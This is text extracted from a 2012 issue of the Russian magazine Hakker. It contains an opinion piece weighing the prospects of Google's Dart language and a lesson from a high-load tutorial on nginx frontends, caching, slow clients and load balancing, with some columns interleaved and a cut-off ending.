столбцов решили выводитьвертикально. Придумайте и реализуйте кроссбраузерное решениедля вывода вертикальных заголовков. Браузеры: IE6+, FF3.0+, Opera9.5+, Chrome 4.0+.ХАКЕР 08 /163/ 2012097


КОДИНГИгорь «Spider_NET» Антонов (www.vr-online.ru)ДАРТСветлоликийНОВЫЙ ЯЗЫКПРОГРАММИРОВАНИЯОТ КОРПОРАЦИИДОБРА: ВЫСТРЕЛИТИЛИ НЕТ?Компания Google давно перестала удивлять революционныминовинками, которые прочно закрепляютсяв нашей жизни. Поисковый монстр ведет активноенаступление по всем фронтам: пользователи получаютсовременные и безопасные сервисы, а разработчикипрограммного обеспечения — обкатанные в недрахкомпании технологии. Одним из таких проектов корпорациидобра стал новый язык программирования Dart.ЯЗЫКОВАЯ ПРАКТИКА ОТ GOOGLEКомпания Google уже не раз выступала в качествесоздателя нового языка программирования.Достаточно вспомнить такие проекты, какNoop (экспериментальный язык программирования,специально созданный для выполненияпод виртуальной машиной) и Go (полноценнокомпилируемый многопоточный язык программирования).Оба эти проекта стартанули в 2009году, и если первый особого фурора не произвел,то второй был подхвачен теплой волнойоваций разработчиков со всего мира и началактивно развиваться, находя применениев различных по сложности проектах.Впрочем, говоря о разработанных компаниейGoogle языках программирования, мыприменяем слово «успех» в несколько особомсмысле. Их популярность (следовательно,и успех) нельзя сравнивать с такими «попсовыми»вещами, как C# от Microsoft или Delphiот Embarcadero. Google в основном работаетнад узкоспециализированными продуктами,в первую очередь предназначенными для решенияопределенного круга задач. Они не претендуютна универсальность, и первым деломна них обращают внимание профессиональныеразработчики, а не новички. Новостные лентытакже не спешат баловать подобные технологиилестными эпитетами. Шумиха держитсянесколько дней, а потом все затихает, какбудто ничего и не было.Слухи о новом языке программирования, ориентированномна разработку веб-приложений,появились еще в конце 2009 года. Это был год,в котором компания представила Go и Noop. Однакотогда карты так и никто не раскрыл, и слухиостались лишь слухами. Затишье продлилосьаж до ноября 2010-го, пока в одной из новостныхгрупп компании не засветилось письмо с громкими революционным заголовком: «БудущееJavaScript» (Future of Javascript doc from ourinternal JavaScript Summit).Письмо было составлено ведущими разработчикамикомпании в ходе внутреннегосаммита, посвященного развитию клиентскихязыков для разработки web-приложений.Эти несколько килобайт текста не содержалиспецификацию языка и не рассказывали обовсех планируемых возможностях новинки.В нем лишь упоминалось название проекта— Dash (позже его переименовали в Dart)и приводилось краткое описание проблемы,которую можно эффективно решить с помощьюразрабатываемого языка.А какая тут может быть проблема? Наборинструментов для веб-разработчика уже давносформирован и, в принципе, успешно выполняетсвою роль. Для серверной части разработкиесть хорошо зарекомендовавшие себя PHP,Python, Java, Ruby, С++, ну а на клиентскойстороне позиции прочно держит JavaScript.На всех этих языках написаны миллионыстрок хорошо отлаженного кода, и новичок без098ХАКЕР 08 /163/ 2012


Дарт СветлоликийВеб-сервис, демонстрирующий сравнение синтаксиса языков Dart и JavaScriptОфициальный ресурс проекта Dart с консолью для быстрых тестовАРГУМЕНТ ЗА: Dart — это не только новыйязык, но еще и конвертер для JavaScriptМожет быть, я немного сгущаю краски, но мирJavaScript — это не только мощная и продвинутаябиблиотека jQuery, которая используетсяв каждом втором проекте. Есть множестводругих прекрасных библиотек, фреймворков,которые решают тысячи задач. Кто отважитсяотказаться от их использования и реализоватьподобную альтернативу на Dart’е? Сама Googleвряд ли сможет предложить готовые альтернативныерешения в разумный срок. В итогемы нарвемся на тот же тормоз мира JavaScript,что и был году эдак в 2005-м. Тогда JS переживалвремена тотального застоя, и ни о какихфреймворках и библиотеках вроде jQuery никтои не мечтал. Идеи витали в облаках, но небыло реализации.Возможно, Google предусмотрела этотвариант и кросс-интерпретатор сможет безособого труда «конвертнуть» тонны отлаженныECMAScript (a-ля JavaScript) имеют рядузких мест, которые негативно отражаютсяна общей производительности приложений,поэтому Dart должен предоставить болеесовершенный вариант.• Безопасность. Повышение уровня безопасностикода — процесс бесконечный, и Dartдолжен внести новшества и в эту область,причем наращивание обороны не должноотрицательно сказаться как на простотеразработки, так и на производительности.• Дружелюбие к редакторам кода и дополнительныминструментам разработчиков.Современные веб-приложенияпредъявляют новые требования в планеподдержки, отладки и модификации кода.Соответственно, новый язык программированиядолжен быть спроектирован с учетомэтих требований. Он должен прекрасновзаимодействовать с дополнительнымиинструментами, способными облегчитьи без того нелегкий процесс разработки,также он должен быть готов, что продвинутаяIDE потребует нормальную поддержкутаких вещей, как поиск вызова функций,рефакторинг и так далее.Несмотря на все плюшки, разработчикикомпании Google понимают риск идеи, и втом же открытом письме был приведен запаснойвариант развития событий. Суть егозаключается в параллельной поддержкеразвития JavaScript (так называемый проект«Harmony»). Таким образом, поисковому гигантуудастся и побыть в роли революционера,и оказать помощь всем тем веб-разработчикам,кто не оценил и не увидел преимуществ Dart’a.ПРОГНОЗ НОСТРАДАЛЬЦАКрасивые пресс-релизы сулят нам райские блага:разрабатывать станет проще, приложениястанут безопасней, разработчики получат блекджексо шлюхами, а работодатели будут пищатьот быстроты процесса разработки приложений,и все будут счастливы. Однако если посмотретьна то, что сделано сегодня, нетрудно разглядетьсильных преимуществ вряд ли сможет стать«своим» в этой тусовке. Мало кому захочетсяизучать новый язык программирования и решатьс его помощью проблемы, с которыми ужеуспешно справились другие.Наверно, именно поэтому гугловчане решилине просто изобрести еще один язык программированиядля веб-разработки, а создатьпринципиально новый продукт, способныйподсидеть на пьедестале почета JavaScriptи вобрать в себя все лучшее от своего предшественника,а также доказать, что он не простоклон, а следующий шаг в эволюции.По мнению девелоперов компании Google,хорошо зарекомендовавший себя JavaScript(а у него, кстати, даже нет конкурентов) имеетряд фундаментальных проблем, которые попростуневозможно решить эволюционнымпутем. Новые «заплатки» могут исправитьнекоторые изъяны, но проблемы архитектурыполностью убрать не получится.Устранением недостатков JavaScript и призванзаняться Dart, а если быть более точным,то он должен стать его продвинутой заменой.Сильными сторонами новинки должны быть:• Повышение удобства разработки. ЯзыкJavaScript имеет высокий порог вхождения,и этот порог всячески стараются поднятьпроекты, подобные CoffeeScript и jQuery.Dart не должен ничего усложнять, наоборот,его задача — по возможности сделатьпорог ниже (за счет более понятного и лаконичногосинтаксиса), а также сохранитьнетленные сущности JavaScript — интерпретируемостьи простоту освоения.• Увеличение производительности. Быстродействие— краеугольный камень всехсовременных технологий. Постоянное повышениетребований сулит бесконечную гонкув оптимизации и наращивании мощностей.С момента появления HTML5 и постепенногоотказа от технологии Flash стремительнорастет объем клиентского кода, и всем хочется,чтобы для интерпретации этого добране требовались значительные ресурсы состороны пользователя. Виртуальные маширяддостаточно серьезных проблем, которыерано или поздно встанут на пути к всеобщемусчастью. Во всяком случае, я, как человек связанныйс разработкой под веб, вижу несколькосерьезных трудностей, которые обязательновставят палки в колеса этой звезде смерти.АРГУМЕНТ ПРОТИВ: Отсутствует сплоченноесообщество разработчиковТы скажешь, что сообщество однозначнопоявится и соберет в своих рядах тысячифанатов нового режима. Нужно лишь немногоподождать — этот процесс требует времении постоянных релизов новых версий со стороныразработчиков. Да, отчасти ты прав, ноне стоит забывать, что обещаниями сообществосыто не будет. Мало кто рискнет писатьсерьезный и полезный код на одном голомэнтузиазме. Если Dart не станет достаточнораспространенным, то никто не решитсянаписать тот же аналог jQuery. Зачем делатьбессмысленную работу, если ей будут пользоватьсятолько такие же фанаты, как и ты?ИТОГО: На данный момент — весомый минусХАКЕР 08 /163/ 2012 099


КОДИНГного JavaScript-кода в Dart’овский вариант,но будет ли такой результат оправданным?Сможет ли транслируемый код держатьсявсех канонов природы Dart’а и наследоватьосновные его принципы: повышенное быстродействие,безопасность, красоту кода и другиевкусняшки? Скорее всего — нет.ИТОГО: Красиво, но зачем?АРГУМЕНТ ЗА: «Это же сделал Гугл!»Корпорация добра — сильный игрок, нов первую очередь это обычные люди, которымсвойственно ошибаться и поворачивать рульна 180 градусов в горячей ситуации. Они ужесоздавали провальные проекты, от которыхпотом просто-напросто отказывались. Достаточновспомнить круто разрекламированныесервисы вроде Wave и Buzz. Гугл вложил кучусредств в их поднятие, но когда там поняли,что тема не стрельнет, — попросту избавилисьот них (Wave) либо реорганизовали в видепримочек к другим проектам (функционалBuzz перебрался в Google Plus). Это далеко неединственные примеры неудачных проектовсуперкомпании.ИТОГО: ЛАЖАНУТЬ МОЖЕТ КАЖДЫЙ ;)АРГУМЕНТ ЗА: Plus, Wave и Buzz — проектыдля пользователей, а Dart — для разработчиков.Здесь Гугл не лажанет!Если уж искать аналогию Dart’у как инструментудля разработки, то сразу хочется вспомнитьмногообещающий Google Web Toolkit(ссылка во врезке). Про этот инструментарийв нашем журнале даже было несколько статей.GWT сулил разработчикам тотально упроститьсоздание веб-приложений масштабаenterprise. Программистам не требовалосьпариться с тоннами кода на HTML/CSS/JavaScript. По факту весь процесс разработкисводился к написанию кода на языке Java,следуя MVC-паттерну. Все остальные тонкостибрал на себя GWT и формировал на сторонеклиента правильный JavaScript. В этой частибыл прорыв, так как клиентский код создавалсяс расчетом на определенные браузеры.При большом зоопарке бродилок это былоОфициальный редактор кода для Dartвесьма актуально, поскольку самостоятельнореализовать код, корректно работающийпод всеми популярными бродилками, былокрайне проблематично. Однако на этом всепреимущества GWT заканчивались. Сильноесообщество пользователей проекта собратьне удалось. Дополнительных модулей (разработанныхне силами Google) создано крайнемало. При практическом применении сталиобнаруживаться концептуальные проблемы.В результате GWT стал развиваться медленно,и для новых проектов его вряд ли кто решитиспользовать.ИТОГО: Отсутствие лажи — величина переменнаяАРГУМЕНТ ПРОТИВ: Нет нативной поддержкиДля красивой демонстрации возможностейDart’а разработчики должны его донестидо браузеров пользователей. Если этого несделать, то программисты не станут писать«крутой» код, поскольку пользователь —существо крайне ленивое и его так просто незаставишь качать дополнительные библиотеки/плагины.К тому же все уже устали жеватьвкусную жвачку со вкусом «Для просмотраконтента вам требуется обновить плагин Dart».Ларс Бак — главный разработчик Dart'аМы уже проходили это с Flash, приносящимв систему пользователя не только радость, нои кучу проблем.Получается, что для достижения хотябы 80% успеха разработчики Dart’а должныобеспечить его нативную поддержку во всехпопулярных браузерах. Сейчас первую строчкув рейтинге популярности делят между собойGoogle Chrome и Internet Explorer. Встроить нативнуюподдержку Dart’а в Chrome — не проблема.Google вольна распоряжаться начинкойсвоих продуктов по собственному усмотрению.А вот как быть с IE, Opera, Safari, FireFox?Я еще могу предположить, что гигантсможет за небольшой промежуток времени договоритьсяс Mozilla и Opera Software, но Appleс Microsoft будут упираться до последнего,а может, и вовсе откажутся. Второй вариантдаже больше вероятен, нежели первый. Ведьбуквально спустя полтора месяца после презентацииDart’а разработчики IE отозвалисьо нем неодобрительно. Свою позицию ониобъясняют достаточно просто: они верят в развитиеи совершенствование старого доброгоJavaScript. Революции им не нужны.ИТОГО: Внедряться будет медленно и неравномерноДемонстрационное приложение SunflowerДемонстрационное приложение Spirodraw100ХАКЕР 08 /163/ 2012


Дарт СветлоликийАРГУМЕНТ ПРОТИВ: Да это же игла от Гугла!Даже если предположить, что все опасенияи трудности будут преодолены, то продвижениеDart’а упрется в нежелание крупных игроковинтернет-рынка отдавать гиганту такуюпривилегию или, говоря другими словами,принимать правила игры очень влиятельногопартнера. Слишком велик риск оказатьсяв зависимости от могущественной интернеткорпорации.Ведь отдав Google такую привилегию,можно запросто нанести урон развитиюсмежных технологий (HTML5, CSS3).ИТОГО: Коммунизм нам не нуженАРГУМЕНТ ЗА: Простота и удобство разработкиЗвучит круто, но что же такого плохого и «тяжелого»в JavaScript? Dart проповедует классическийпринцип так называемой классовойпарадигмы ООП (class oriented language). Онаболее проста в понимании, особенно для тех,кто уже имеет опыт работы с языками вродеC#, Delphi, Java. Если разработчик написал неодну тысячу строк на каком-то из этих языков,то войти в мир Dart’а ему будет чрезвычайнопросто. С JavaScript все иначе. Этот язык проповедуетдругую парадигму ООП — прототипную.Да, с ней несколько трудней совладатьв начале пути, но, как только скилл получитминимальную дозу опыта, все сразу встанетна свои места и программирование на JS будетказаться стандартным и привычным.Google видит в этом проблему, но лично явыступаю за, потому что всегда придерживаюсьмнения: для решения каждой задачинужно выбирать наиболее подходящий инструмент.Вот и к JavaScript нужно относиться какк инструменту, хорошо приспособленному длярешения определенного круга задач. И еслиязык проповедует не религиозные каноныООП — это не повод изобретать альтернативу.Если уж не нравится стиль JavaScript, то прощесоздать еще один вариант синтаксическогосахара (наподобие CoffeeScript), который привнесетудобство написания и восприятия кода.ИТОГО: А трудностей-то и не было!АРГУМЕНТ ЗА: Дружелюбность к редакторамкода и дополнительным инструментам разработчиковПеред нами опять сильный аргумент, которыйможно трактовать по-разному. Сегодняесть немало хороших IDE, ориентированныхна JavaScript-разработчиков. Есть как проприетарные(например, WebStorm), так и OpenSource решения (например, Aptana studio).Их возможностей более чем достаточно длярефакторинга или поиска вызова функций(тривиальная функция для продвинутого редактора).Во всяком случае, сообществу разработчиковэтого достаточно, и они не перестаютудивлять новыми и интересными проектами,созданными целиком на JavaScript. Выделять«нативную гибкость» по отношению к средамразработки уж слишком притянутое за ушипреимущество. Кто рискнет ради этого убитькучу времени на изучение нового языка?ИТОГО: Надуманная проблема, надуманноерешениеАРГУМЕНТ ЗА: Высокая производительностьСейчас эту сильную сторону тяжело проверитьна практике, поскольку на данный моментпротестировать Dart в реальных боевых условияхнет возможности — пока не существуетнативной поддержки со стороны браузеров (исключаяспециальную сборку Chrome). Однакоуже сейчас специалисты в области JavaScriptрассуждают на эту тему и заявляют, что врядли Dart’у удастся добиться более существенныхрезультатов, чем движку V8 (V8 JavaScriptengine). Получается, что и повышенное быстродействиепока остается под большим вопросом.В итоге все перспективы нового языка насегодняшний день не имеют аргументированныхдоказательств. Нет тестов, нет каких-либосравнительных материалов, нет ничего, кромезаявлений, дальнейшая судьба которых неизвестна.ИТОГО: Круто, но пока это только словаБЫТЬ ИЛИ НЕ БЫТЬ?Дядя Гугл предлагает нам «интересные»идеи и большие перспективы перехода наHELLO WORLD НА DART’ЕС чего начать знакомства с Dart’ом? Правильно,с написания самого простого приложения — HelloWorld. Реализация этой простенькой программына Dart’е будет мало чем отличаться отаналогичных вещей, написанных на Java или C#:// точка входа в приложениеmain() {print('Hello, world!');// вывод на экран текста}Более сложные демки (например, чат, проксики прочее) можно найти в репозитории проектаDart (goo.gl/DNudD) или на нашем диске. Я небуду разбирать эти примеры построчно в рамкахстатьи, так как, во-первых, они все снабженынеобходимыми комментариями, а во-вторых, тыуже не маленький и в состоянии сам запуститьпример.Dart, но при детальном и скрупулезномосмотре пациента получается, что пока всеэто не более чем хорошая теория. СегодняDart — это просто интересный проект, а негрозный революционный факел. Приведенныеаргументы и опровержения — хорошаяпища для дальнейших размышлений и оценкиперспектив новинки. Поэтому ответом навопрос «Стоит ли сегодня заморачиватьсяизучением Dart’а или нет?» будет: думайи решай сам.Я полагаю, что активно бросаться изучатьDart сейчас нет смысла, поскольку языкнаходится на этапе рождения и дальнейшаяего судьба под большим вопросом. КромеГугла и его фанатов, новой идеей никто непроникся (я сейчас говорю о влиятельныхигроках на арене веба), а значит, никакойнадежды на счастливое будущее нет и неможет быть. zКТО РАБОТАЕТ НА DART?РЕСУРСЫ О DART’ЕВозглавляет группу разработчиков языка Dart достаточноизвестный программист Ларс Бак (ссылку на его профильв Wikipedia ищи в соответствующей врезке). Ларс трудитсяв Google c 2004 года. До проекта Dart он участвовал в разработкебраузера Google Chrome. Как правило, все проектыподобного уровня создаются в главных офисах компании(обычно они располагаются на территории США или гденибудьв Европе). Для Dart’а это правило не работает. Надновым языком трудятся и наши с вами соотечественники(руководит группой разработчиков Павел Фельдман) изСанкт-Петербургского офиса компании Google.• goo.gl/xm9qK — официальный сайт проекта Dart;• goo.gl/LKtMW — русскоязычный проект о Dart’е. На сайте можноознакомиться с документацией на родном языке, а также узнатьпоследние новости из мира Dart’а;• goo.gl/y3CvR — профиль Ларса Бака (ведущего разработчика Dart’a) в Wikipedia;• goo.gl/0pyFH — описание языка Dart в Wikipedia;• www.dartlang.org/docs/language-tour/ — обучающий тур по Dart’у;• goo.gl/T49aK — сервис позволяет сравнивать (в плане синтаксиса) язык Dartс JavaScript;• code.google.com/webtoolkit — набор инструментов для веб-разработки от Google;• goo.gl/LtAm7 — последняя версия спецификации языка Dart.ХАКЕР 08 /163/ 2012 101


АКАДЕМИЯУРОК #1 2 3 4 5 6Каждый программист хочет стать лучшим,получать все более интересные и сложныезадачи ирешать их все более эффективнымиспособами. обВ мире интернет-разработокк таким задачам можно отнести те,с которыми сталкиваются разработчикивысоконагруженных систем.Большая часть информации, опубликованнаяпо теме высоких нагрузок в интернете,представляет собой всего лишь описаниятехнических характеристик крупных систем.Мы же попробуем изложить принципы,по которым строятся архитектуры самыхпередовых и самых посещаемых интернетпроектовнашего времени.УЧЕБНИКПО ВЫСОКИМНАГРУЗКАМОТ АВТОРОВОсновным направлением деятельности нашей компанииявляетсярешение проблем, связанных с высокой нагруз-кой, ,кконсультирование, проектирование масштабируемыхархитектур, проведение нагрузочных тестирований и опти-мизация сайтов. В число наших клиентов входят инвесторыиз Россиисиии со всего мира, а также проекты «ВКонтакте»,«Эльдорадо», «Имхонет», Photosight.ru и другие. Во времяконсультаций мы часто сталкиваемся с тем, что многие незнаютютсамсамых основ — что такое масштабирование и какимоно бывает, какие инструменты и для чего используются.Этапубликация продолжает серию статей «Учебник повысоким нагрузкам». В этих статьях мы постараемся последовательнорассказать обо всех инструментах, которыеиспользуются при построении архитектуры высоконагру-женных систем.102ХАКЕР 08 /163/ 2012


Учебник по высоким нагрузкам. Урок №2МАСШТАБИРОВАНИЕ ФРОНТЕНДОВНапомним, на чем мы остановились в прошлый раз. При обработкезапросов пользователя и обработке данных на сторонесервера выполняются операции, которые условно можно отнестик трем группам:• предварительная обработка запроса,• основные вычисления,• хранение данных.В трехзвенной архитектуре за каждое из этих действий отвечаетотдельное звено. Предварительную обработку данных обеспечиваетфронтенд, основные вычисления — бэкенд, хранениеданных — база данных, файловая система, сетевое хранилищеили что-то еще.Фронтенд — первое звено на серверной стороне, которое и начинаетобработку запроса. Зачем нужны фронтенды? Как правило,это легкие и быстрые веб-серверы, практически не занимающиесявычислениями. Программное обеспечение фронтенда принимаетзапрос; далее если может, то сразу отвечает на него или, еслине может, проксирует запрос к бэкенду.КАКИЕ ЗАПРОСЫ ОБРАБАТЫВАЕТ ФРОНТЕНД И ПОЧЕМУ?Обычно фронтенд представляет собой легковесный веб-сервер,разработчики которого сделали все для того, чтобы каждыйзапрос обрабатывался максимально быстро при минимальныхзатратах ресурсов. Например, у nginx на 10 тысяч неактивныхkeep-alive-соединений уходит не более 2,5 мегабайт памяти. Вправильных веб-серверах даже файлы с дисков отдаются сразув память, минуя загрузку (такого эффекта можно достичь, включив,например, опцию sendfile в nginx).Так как фронтенд (в каноническом понимании) не обрабатываетданные, то ему и не нужно большое количество ресурсовна обработку запроса. Однако тяжеловесные PHP- или Perlпроцессыс многочисленными загруженными модулями могуттребовать по несколько десятков мегабайт на соединение. Приразработке самой первой версии nginx шла настоящая борьба закаждый килобайт, выделяемый на обработку запроса. Благодаряэтому nginx тратит на обработку запроса около 8–10 килобайт,в то время как mod_perl может распухнуть до 200 мегабайт. Этоозначает, что на машинке с 16 гигабайтами оперативки удастсязапустить всего лишь 40 mod_perl’ов, однако та же самая машинкасможет обрабатывать несколько тысяч легких соединений.ОТДАЧА СТАТИКИПравило простое: там, где не нужно отправлять запрос на бэкенд,где не нужно что-либо вычислять (очевидно, что существуеткласс запросов, для обработки которых это не требуется),все должно отдаваться фронтендом. Отсюда следует первоеприменение фронтенда — отдачадизайнерской статики, картинок,CSS-файлов, то есть всего, что нетребует вычислений. В конфигурационномфайле nginx (одно изнаиболее удачных решений дляфронтенда) вы прописываете, какиеименно запросы должны отдаватьсяс локального диска, а какиепередаваться дальше. Наличиефронтендов — это первый признаквысоконагруженной системы.Почему это не просто важно, аочень важно? Посмотрите на любуюстраницу, например в Facebook.Попробуйте посчитать количествокартинок на ней, затем подключаемыхCSS- и JavaScript-файлов —счет пойдет на сотни. Если каждыйиз этих запросов отправлять бэкенду,то никакой памяти и производительностисерверов не хватит.Используя фронтенд, мы сокращаемтребуемые для обработкизапроса ресурсы, причем зачастуюв десятки и сотни раз. Как вариант,фронтенд может отвечать за отдачухранящихся на диске бинарныхданных пользователей. В этомслучае бэкенд также не участвуетв обработке запроса. Если бэкендотсутствует, фронтенд напрямую обращаетсяк хранилищу данных.В качестве примера рассмотримхранилище видеофайлов пользователей,которое размещенона десяти серверах с большимибыстрыми дисками. Запрос навидеофайл пользователя приходитна фронтенд, где nginx (или любаяХАКЕР 08 /163/ 2012 103


АКАДЕМИЯЗАДОМ НАПЕРЕДИнтересный подход используется в технологии Mongrel2, хорошо знакомуюв мире Ruby-программистов. Ее разработкой занимается известныйв Ruby-сообществе Зед Шоу, который и предложил перевернуть привычнуюсхему обработки запросов с ног на голову. Согласно его схеме, нефронтенды ходят к бэкендам и предлагают им обработать какой-то запрос,а наоборот. Фронтенды накапливают у себя очередь на запросы, а огромноеколичество бэкендов эти фронтенды опрашивает и возвращает ответ.Таким образом мы получаем масштабируемую асинхронную обработку. Подобныйподход используется в большом количестве проектов.другая аналогичная программа) определяет (например, по URIили по имени пользователя), на каком из десяти серверов лежиттребуемый файл. Затем запрос отправляется напрямую на этотсервер, где другой, локальный, nginx выдает искомый файл слокального диска.В крупных системах таких цепочек nginx’ов или подобныхбыстрых систем может быть довольно много.КЕШИРОВАНИЕКеширование — вторая сфера применения фронтенда, некогдаочень и очень популярная. В качестве грубого решения можно простозакешировать на некоторое время ответ от бэкенда.Nginx научился кешировать относительно недавно. Он кешируетответы от бэкенда в файлы, при этом вы можете настроить иключ для кеширования (включив в него, например, куки пользователя),и множество других параметров для тонкого тюнинга процессакеширования. Соответствующие модули есть у большинствалегких веб-серверов. В качестве ключа в этих модулях применяется,как правило, смесь URI- и GET-параметров.Отдельно стоит упомянуть о потенциальных проблемах кешированияна фронтенде. Одна из них — одновременная попыткавычислить просроченное значение кеша популярной страницы.Если вы кешируете главную страницу, то при сбрасывании еезначения вы можете получить сразу несколько запросов к бэкендуна вычисление этой страницы.В nginx имеется два механизма для решения подобных проблем.Первый механизм построен на директиве proxy_cache_lock.При ее использовании только первый запрос вычисляет новоезначение элемента кеша. Все остальные запросы этого элементаожидают появления ответа в кеше или истечения тайм-аута. Второймеханизм — мягкое устаревание кеша, когда при определенныхнастройках, заданных с помощью директив, пользователюотдается уже устаревшее значение.Строго говоря, кеширование нафронтенде — довольно сомнительныйприем, ведь вы лишаетесь контролянад целостностью кеша. Выобновляете страницу, но фронтендоб этом не знает и продолжает отдаватьзакешированную устаревшуюинформацию.ВЫЧИСЛИТЕЛЬНАЯ ЛОГИКАНА СТОРОНЕ КЛИЕНТАНа стороне клиента теперь выполняетсяогромное количествоJavaScript-кода, это способ «размазать»вычислительную логику.Фронтенд отдает браузеру клиентастатику, и на стороне клиентапроводятся какие-то вычисления— одна часть вычислений. Ана стороне бэкенда выполняютсяболее сложные задачи — это втораячасть вычислений.Для примера приведу все тот жеFacebook. При просмотре новостнойленты выполняется огромноеколичество кода на JavaScript. В«маленьком» браузере работаетдовольно серьезная «машинка»,которая умеет очень многое.Страница Facebook загружаетсяв несколько потоков и постояннопродолжает обновляться. За всемэтим следит JavaScript, работающийу вас в браузере. Если вспомнитьпервый урок, то мы говорилио монолитной архитектуре. Так вот,использовать ее сейчас зачастуюневозможно, поскольку приложениявыполняются много где: ина стороне клиента, и на сторонесервера и так далее.Однако попытки создать монолитныеприложения, «размазанные»между браузером и сервером,все же предпринимались. Так, вкачестве инструмента для написанияприложений на Java-сервере,позволяющего прозрачно переноситьих на клиентскую сторону, былразработан GWT (Google Web Toolkit).Сюда также относятся всякиештуки от Microsoft типа Web Forms,которые якобы должны самигенерировать на JavaScript все,что нужно. Тем не менее про всеэти решения можно сказать одно:они работают очень мучительно.На данный момент практически несуществует легких в использованиии хороших средств, которыеволшебным образом избавляли быот необходимости дополнительноразрабатывать веб-интерфейс наJavaScript.МАСШТАБИРОВАНИЕ БЭКЕНДОВОдна из основных функций фронтенда— балансировка нагрузки междубэкендами, точнее, не столько балансировка,сколько проксирование.Огромный сайт «ВКонтакте»взаимодействует с внешним миромс помощью 30–40 фронтендов,за которыми скрываются многиетысячи бэкендов, выполняющих вычисления.В настройках фронтендовпрописываются так называемыеапстримы (upstreams), то есть серверы,куда следует отправлять тотили иной запрос.Правил для роутинга запросовдовольно много. Эти правила позволяюторганизовать весьма сложнуюлогику перебрасывания запросов.Например, запросы с URI /messages/отправляются на обработку в кластерсерверов для работы с сообщениями,а /photo/ — на фотохостинг итак далее, причем все эти запросыминуют вычисляющие бэкенды.104ХАКЕР 08 /163/ 2012


Учебник по высоким нагрузкам. Урок №2Иногда встречаются и умные фронтенды, которые учитываюттекущую нагруженность бэкендов при проксировании запросов,например, выбирая для проксирования наименее нагруженныйбэкенд. Некоторые фронтенд-серверы умеют перезапрашиватьдругой бэкенд, если первый не смог обработать запрос.При использовании этих функций стоит учитывать проблемуантишквала. В чем она состоит?ПРОБЛЕМА С АНТИШКВАЛОМДопустим, есть ряд бэкендов, выполняющих однотипные задачи.Запрос приходит на первый бэкенд, начинает выполняться, но неуспевает до окончания тайм-аута. Умный фронтенд перебрасываетзапрос на новый бэкенд, тот тоже не успевает. Таким образом,очень быстро вся сеть бэкендов ляжет.Варианты решения:I. Промежуточное звено с очередью, из которого бэкенды самизабирают задачи. Проблемы этого варианта:1. Смешение подходов — использование асинхронных методовдля решения синхронной задачи.2. Дальнейшее выполнение запроса, когда фронтенд отключилсяи больше не ждет ответа.3. Исчезновение задач, которые попали на тормозящий бэкенд(это решается рестартом очереди).II. Умные запросы от фронтенда:1. Первый запрос к первому бэкенду идет с тайм-аутом в однусекунду. Второй запрос идет стайм-аутом в две секунды, третий— три секунды, а четвертогоуже нет, то есть мы ограничиваемколичество запросов.2. Бэкенд может определять, неперегружен ли он (раз в секундуспрашивать LA и кешироватьего). В начале обработки запросавыполняется проверка. Если LAслишком высокий, фронтендуотдается Gone Away (штатнаяситуация — переход к другомубэкенду).В любом случае бэкенд получаетинформацию о том, сколько времениего ответ будет ждать фронтенд,сколько времени запрос будетактуален.МЕДЛЕННЫЕ КЛИЕНТЫПерейдем теперь к еще одной изосновных сфер применения фронтендови поговорим о так называемомобслуживании медленных клиентов.Представьте, что вы заходите настраницу, например, РБК (rbc.ru) иначинаете ее загружать. Страницыу них по одному-два мегабайта.Соединение не очень хорошее —вы на конференции, в роуминге,используете GPRS, — и вот этастраница загружается, загружается,загружается… Раньше такоебыло повсеместным и сейчас тожеслучается, хотя и гораздо реже.Рассмотрим, как происходитобработка запроса в nginx. Браузерклиента открывает соединение содним из процессов nginx’а. Затемклиент передает этому процессуданные запроса. Одновременнопроцесс nginx может обрабатыватьеще тысячи других соединений. Длякаждого соединения существуетсвой входной буфер, в который закачиваетсязапрос пользователя.Только полностью записавзапрос в буфер, nginx открываетсоединение с противоположнойстороной — бэкендом — и начинаетпроксировать запрос ему. (Еслизапрос очень большой, то данныев отведенную под буфер память непоместятся и nginx запишет их надиск — это один из параметров длятюнинга nginx.)Этот же механизм действует и вобратном направлении — фронтендбуферизует ответ, полученный от бэкенда,и потихоньку отдает клиенту.Если бы пользователь напрямуюобщался с процессом бэкенда,процесс бы вычислил ответ,причем моментально, за десятуюдолю секунды, а потом ждал, покапользователь скушает его по одномукилобайту. Все это время процессбэкенда был бы занят и не принималбы других запросов.В том числе и для решения этойзадачи устанавливаются легкиефронтенды. Таких фронтендовмного, необязательно использоватьnginx. Для бэкенда фронтенд выглядиткак обычный очень быстрыйбраузер. Он очень быстро получаетответ от бэкенда, сохраняет этот ответи потихоньку отдает конечномупользователю, то есть решаетпресловутую проблему последнеймили. Держать две минуты соединениена фронтенде — это гораздоHIGHLOAD-ИНСТРУКТОРЫОлег БунинИзвестныйспециалист повысоконагруженнымпроектам.ОрганизаторконференцииHighLoad++.Максим ЛапшинОдин из немногих вРоссии программистовна Erlang.Автор решения дляорганизации потоковойвидеотрансляции—Erlyvideo.Константин ОсиповСпециалист побазам данных,который долгоевремя работал вMySQL. РазработчикNoSQL СУБДTarantool.Константин МашуковБизнес-аналитикв компании ОлегаБунина, которыйраньше работал вобласти суперкомпьютерови научныхприложений.ХАКЕР 08 /163/ 2012 105


СЦЕНА АКАДЕМИЯдешевле, чем держать процесс на бэкенде. Таким образом, мыописали основные задачи, которые решает фронтенд.МАСШТАБИРОВАНИЕ ФРОНТЕНДОВОдним из важнейших условий того, чтобы все работало и проектможно было масштабировать горизонтально, является возможностьпоставить дополнительные сервера. Обеспечить эту возможностьнепросто. Каким-то образом вы должны выставить в интернетбольшое количество серверов и направить пользователей на те изних, которые работают.Кроме того, увеличение количества серверов вызывает и другиетрудности. Допустим, один сервер выходит из строя раз в год.Но при наличии двух серверов сбои будут возникать раз в полгода.Если серверов уже тысяча, неисправности случаются постоянно.На каждом этапе нужно обеспечивать бесперебойную работусистемы, когда ломается одна из множества одинаковых деталей.Когда запрос уже попал в вашу систему (мы говорим пробэкенды и прочее), тут уже вы вольны программировать, какхотите. Но до того, как запрос попадает от фронтенда к бэкенду,он сначала должен попасть на фронтенд. Браузер пользователядолжен к какому-то компьютеру послать какие-то данные. Отдельнаясложная задача — сделать так, чтобы это было хорошо,просто и надежно.Она имеет два аспекта. Первый из них — это технология.Раньше, например в 2001 году, технология балансировки былареализована элементарно. Когда вы заходили на spylog.ru, DNS взависимости от того, откуда вы и кто вы, выдавал вам www1.spylog.ru, или www2.spylog.ru, или www3.spylog.ru. Сегодня большинствовеб-сайтов давно уже не прибегает к этому способу. Они используютлибо IPVS, либо NAT. Таким образом, один аспект задачисостоит в том, как послать данные на работающую машину.Второй аспект заключается в том, как понять, какая машинаработает. Для этого необходим 